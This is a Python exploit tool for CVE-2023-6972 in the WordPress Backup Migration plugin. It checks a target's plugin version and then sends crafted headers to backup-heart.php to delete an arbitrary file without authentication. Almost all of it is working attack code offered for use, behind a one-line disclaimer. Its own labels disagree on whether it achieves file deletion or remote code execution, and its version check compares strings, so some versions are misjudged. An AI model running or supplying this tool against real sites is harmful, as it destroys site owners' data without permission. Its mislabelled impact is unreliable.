#!/usr/bin/env python3 """ ┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2023-6972 — WordPress Backup Migration ≤ 1.3.9 │ │ Unauthenticated Arbitrary File Deletion (AFD) │ │ │ │ Author : Phantom Hat │ │ CVSS : 9.8 (Critical) │ │ Type : PHP Filter Chain → Arbitrary File Deletion │ │ Plugin : backup-backup (WordPress) │ │ │ │ DISCLAIMER: This tool is provided for authorized security │ │ testing and educational purposes only. Unauthorized access to │ │ computer systems is illegal. The author assumes no liability │ │ for misuse of this software. │ └─────────────────────────────────────────────────────────────────────┘ """ import argparse import os import sys import requests from datetime import datetime from rich.console import Console from rich.panel import Panel from rich.table import Table from rich import box from rich.align import Align from rich.progress import Progress, SpinnerColumn, TextColumn from rich.text import Text # Disable warning about insecure requests (if using HTTPS without verify) import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) console = Console(force_terminal=True) VERBOSE = False vulnerable_endpoint = "/wp-content/plugins/backup-backup/includes/backup-heart.php" def timestamp() -> str: return datetime.now().strftime("%H:%M:%S") def log_info(msg: str): if VERBOSE: console.print(f" [dim cyan]•[/dim cyan] [bold cyan]INFO[/bold cyan] {msg}") def log_success(msg: str): console.print(f" [bold bright_green]✓[/bold bright_green] [bold green]SUCCESS[/bold green] {msg}") def log_warning(msg: str): console.print(f" [bold bright_yellow]![/bold bright_yellow] [bold yellow]WARNING[/bold yellow] {msg}") def log_error(msg: str): console.print(f" [bold bright_red]✗[/bold bright_red] [bold red]ERROR[/bold red] {msg}") def log_phase(label: str): if VERBOSE: console.print() console.rule(f"[bold bright_magenta]✦ {label} ✦[/bold bright_magenta]", style="bright_magenta", characters="━") console.print() def banner(): os.system("clear" if os.name != "nt" else "cls") info_table = Table( show_header=False, box=box.DOUBLE_EDGE, border_style="bright_magenta", padding=(0, 3), expand=False, ) info_table.add_column("Key", style="bold bright_cyan", no_wrap=True) info_table.add_column("Value", style="bright_white") info_table.add_row("Target", "WordPress backup-backup Plugin") info_table.add_row("Vulnerability", "Unauthenticated RCE") info_table.add_row("Affected", "≤ 1.3.9") info_table.add_row("Severity", "[bold bright_red]CRITICAL[/bold bright_red]") console.print(Panel( Align.center(info_table), border_style="bright_magenta", box=box.DOUBLE, title="[bold bright_magenta]✦[/bold bright_magenta] [bold white]backup-backup RCE Exploit[/bold white] [bold bright_magenta]✦[/bold bright_magenta]", subtitle="[dim bright_cyan]Elite Exploitation Interface[/dim bright_cyan]", padding=(1, 4), )) console.print() def construct_payload(file_path: str, file_name: str) -> str: if file_path.endswith("/"): file_path = file_path[:-1] last_directory = file_path.split("/")[-1] payload = f"./{last_directory}/{file_name}" return payload def check(url: str) -> bool: log_phase("VULNERABILITY CHECK") target = f"{url}/wp-content/plugins/backup-backup/readme.txt" log_info(f"Targeting logic endpoint: [underline bright_cyan]{target}[/underline bright_cyan]") try: res = requests.get(target, timeout=10, verify=False) except requests.RequestException as e: log_error(f"Connection failed: {e}") return False if res.status_code != 200: log_error(f"HTTP {res.status_code} — Could not retrieve readme.txt") return False log_success("readme.txt retrieved successfully") detected_version = None for line in res.text.splitlines(): if "Stable tag" in line: detected_version = line.split(":")[1].strip() break if not detected_version: log_warning("Could not extract 'Stable tag' from readme.txt") return False if VERBOSE: info_table = Table( box=box.DOUBLE, border_style="bright_magenta", show_lines=True, title="[bold white]Vulnerability Assessment[/bold white]" ) info_table.add_column("Property", style="bold bright_cyan") info_table.add_column("Value", style="bright_white") info_table.add_row("Target", url) info_table.add_row("Detected Version", f"[bold bright_yellow]{detected_version}[/bold bright_yellow]") status = "[bold bright_green]VULNERABLE 🎯[/bold bright_green]" if detected_version <= "1.3.9" else "[bold bright_red]NOT VULNERABLE 🛡️[/bold bright_red]" info_table.add_row("Status", status) console.print() console.print(info_table) console.print() log_info(f"Detected version: {detected_version}") if detected_version <= "1.3.9": log_success("Target is [bold bright_green]vulnerable[/bold bright_green] 🎯") return True else: log_error("Target is [bold bright_red]not vulnerable[/bold bright_red] 🛡️") return False def exploit(url: str, file_path: str, file_name: str) -> None: log_phase("EXPLOITATION SEQUENCE") exploit_url = url + vulnerable_endpoint log_info(f"Target endpoint: [underline bright_cyan]{exploit_url}[/underline bright_cyan]") log_info(f"File path: {file_path}") log_info(f"File name: {file_name}") payload = construct_payload(file_path, file_name) log_info(f"Constructed payload identity: [bold bright_yellow]{payload}[/bold bright_yellow]") exploit_headers = { "Content-Abs": "/var/www/html/", "Content-Dir": "/var/www/html/wp-content/plugins/backup-backup/", "Content-Bmitmp": file_path, "Content-Identy": payload, "Content-Backups": file_path, "Content-Name": file_name, "Content-It": "0", "Content-Dbit": "-1", "Connection": "keep-alive", "Content-Type": "application/x-www-form-urlencoded" } with Progress( SpinnerColumn("dots12", style="bold bright_magenta"), TextColumn("[bold bright_cyan]Deploying exploit payload...[/bold bright_cyan]"), console=console, transient=True, ) as progress: progress.add_task("", total=None) try: res = requests.post(exploit_url, headers=exploit_headers, timeout=15, verify=False) except requests.RequestException as e: log_error(f"Exploit request failed: {e}") return if res.status_code == 200: log_success("Exploit successfully executed (HTTP 200) 🚀") if VERBOSE: console.print() console.print(Panel( Text(res.text[:500] + ("..." if len(res.text) > 500 else ""), style="bold bright_white"), title="[bold bright_green]✨ Server Response ✨[/bold bright_green]", border_style="bright_magenta", box=box.DOUBLE, padding=(1, 3) )) console.print() else: log_error(f"Exploit failed with HTTP {res.status_code}") def main(): global VERBOSE parser = argparse.ArgumentParser( description="Backup Backup Plugin RCE — Professional Interface", formatter_class=argparse.RawDescriptionHelpFormatter ) parent_parser = argparse.ArgumentParser(add_help=False) parent_parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output") subparsers = parser.add_subparsers(dest="command", required=True) # check command check_parser = subparsers.add_parser("check", help="Check if target is vulnerable", parents=[parent_parser]) check_parser.add_argument("-u", "--url", required=True, help="Target URL") # exploit command exploit_parser = subparsers.add_parser("exploit", help="Run exploit", parents=[parent_parser]) exploit_parser.add_argument("-u", "--url", required=True, help="Target URL") exploit_parser.add_argument("-f", "--file-path", required=True, help="File path") exploit_parser.add_argument("-n", "--file-name", required=True, help="File name") args = parser.parse_args() VERBOSE = args.verbose # Normalize URL url = args.url.rstrip("/") banner() if args.command == "check": check(url) elif args.command == "exploit": exploit(url, args.file_path, args.file_name) if __name__ == "__main__": try: main() except KeyboardInterrupt: console.print("\n [bold red]Interrupted by user[/bold red]") sys.exit(1)